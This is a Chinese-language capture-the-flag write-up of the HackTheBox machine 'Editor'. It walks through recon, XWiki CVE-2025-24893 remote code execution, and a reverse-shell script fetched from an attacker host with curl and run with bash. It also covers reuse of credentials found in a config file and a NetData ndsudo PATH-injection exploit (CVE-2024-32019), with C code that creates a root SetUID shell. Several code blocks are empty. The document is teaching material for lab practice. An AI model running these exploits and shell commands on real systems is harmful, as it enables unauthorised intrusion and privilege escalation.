HTB: Editor | 0xdf 的黑客实践
摘要
Editor 是一台 Linux 靶机,托管了一个代码编辑器网站,其文档位于一个 XWiki 实例上。我将利用 XWiki Solr 搜索中的一个漏洞,该漏洞允许未经身份验证的 Groovy 脚本注入,从而实现远程代码执行并获得一个 shell。之后,我将在 XWiki Hibernate 配置中找到数据库凭据,并利用密码复用的方式横向移动至另一个用户。通过枚举本地服务,我发现正在运行一个旧版本的 NetData,它安装了一个存在漏洞的 SetUID 二进制文件 ndsudo,该文件易受 PATH 注入攻击,我将滥用此漏洞来获取 root 权限。
靶机信息
| 名称 | Editor |
|---|---|
| 发布日期 | 2025年8月2日 |
| 下线日期 | 2025年12月6日 |
| 操作系统 | Linux |
| 基础分数 | 简单 [20] |
创作者: kavigihan, TheCyberGeek
侦察
初始扫描
nmap 发现了三个开放的 TCP 端口:SSH (22) 和两个 HTTP (80, 8080):
|
|
详细的版本扫描显示:
- 端口 80: nginx 1.18.0,重定向到
http://editor.htb - 端口 8080: Jetty 10.0.20,运行 XWiki
子域名暴力破解
使用 ffuf 进行子域名枚举,发现了 wiki 子域名:
|
|
将以下条目添加到 /etc/hosts:
|
|
editor.htb - TCP 80
该网站是一个代码编辑器的宣传页面。技术栈分析显示为 React 应用。目录暴力扫描 (feroxbuster) 未发现有趣内容。
wiki.editor.htb - TCP 80 / 8080
所有访问方式都指向同一个 XWiki 站点,用于提供 SimplistCode Pro 软件的文档。页脚显示版本为 XWiki Debian 15.10.8。
获取 xwiki 用户 shell
CVE-2025-24893 背景
XWiki 版本 15.10.8 存在漏洞 CVE-2025-24893。该漏洞允许任何访客通过向 SolrSearch 发送请求执行任意远程代码。
影响范围: 整个 XWiki 安装的机密性、完整性和可用性。 补丁: 此漏洞已在 XWiki 15.10.11、16.4.1 和 16.5.0RC1 中修复。
漏洞验证 (POC)
构建并访问以下 URL:
|
|
响应中包含了 “Hello from search text:42”,证实漏洞存在。
获取 Shell
通过 Burp Repeater 修改 payload,执行系统命令 id:
|
|
成功返回命令执行结果。
获取反向 Shell:
- 在攻击机上创建反向 shell 脚本
rev。 - 在靶机上使用
curl下载该脚本:curl http://10.10.14.6/rev -o /dev/shm/rev - 执行脚本:
bash /dev/shm/rev - 在攻击机监听端口收到连接,获得
xwiki用户的 shell。
获取 oliver 用户权限
信息枚举
在 /etc/xwiki/hibernate.cfg.xml 中找到数据库凭据:
|
|
SSH 登录
尝试密码复用,发现 oliver 用户使用了相同的密码:
|
|
成功通过 SSH 登录为 oliver 并获取用户标志 (user.txt)。
获取 root 权限
本地服务枚举
使用 ss -tnl 发现仅在本地监听的端口:19999, 8125, 43143。
通过 SSH 端口转发进行访问:
|
|
- 端口 19999: 运行着 NetData 监控面板,版本为 1.45.2。
- 其他端口无有效发现。
CVE-2024-32019 漏洞利用
漏洞描述: NetData Agent 附带的 ndsudo 工具允许攻击者以 root 权限运行任意程序。该工具打包为 root 拥有的 SUID 可执行文件。它只运行一组受限的外部命令,但其搜索路径由 PATH 环境变量提供。这允许攻击者控制 ndsudo 查找这些命令的位置,从而导致本地权限提升。此漏洞在 1.45.3 和 1.45.2-169 版本中已修复。
漏洞利用步骤:
- 定位
ndsudo: 位于/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo,具有 SetUID 位。 - 查看支持的命令: 运行
ndsudo -h显示支持nvme-list等命令。 - 创建恶意程序: 编写一个 C 程序,编译为名为
nvme的可执行文件,其功能是创建一个 SetUID 的 bash 副本。1 2 3 4 5 6 7 8 9 10 11 12#include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <sys/types.h> int main() { setuid(0); seteuid(0); setgid(0); setegid(0); system("cp /bin/bash /tmp/0xdf; chown root:root /tmp/0xdf; chmod 6777 /tmp/0xdf"); } - 上传并设置: 将编译好的
nvme上传到靶机的/dev/shm并赋予执行权限。 - 触发漏洞: 通过设置
PATH环境变量,使ndsudo优先执行我们放置的恶意nvme程序。1PATH=/dev/shm:$PATH /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list - 获取 root shell: 命令执行后,在
/tmp目录下生成了 SetUID 的 bash 副本/tmp/0xdf。执行它即可获得 root 权限。1/tmp/0xdf -p - 成功读取
root.txt。
扩展分析
尽管拥有 oliver 的正确密码,xwiki 用户却无法使用 su 切换到该用户。原因在于 XWiki 的服务单元文件 (/lib/systemd/system/xwiki.service) 中设置了 NoNewPrivileges=true。该选项阻止了通过 execve() 调用获得任何本无法获得的特权,因此即使 su 具有 SetUID 位,也无法在此环境下成功切换用户权限。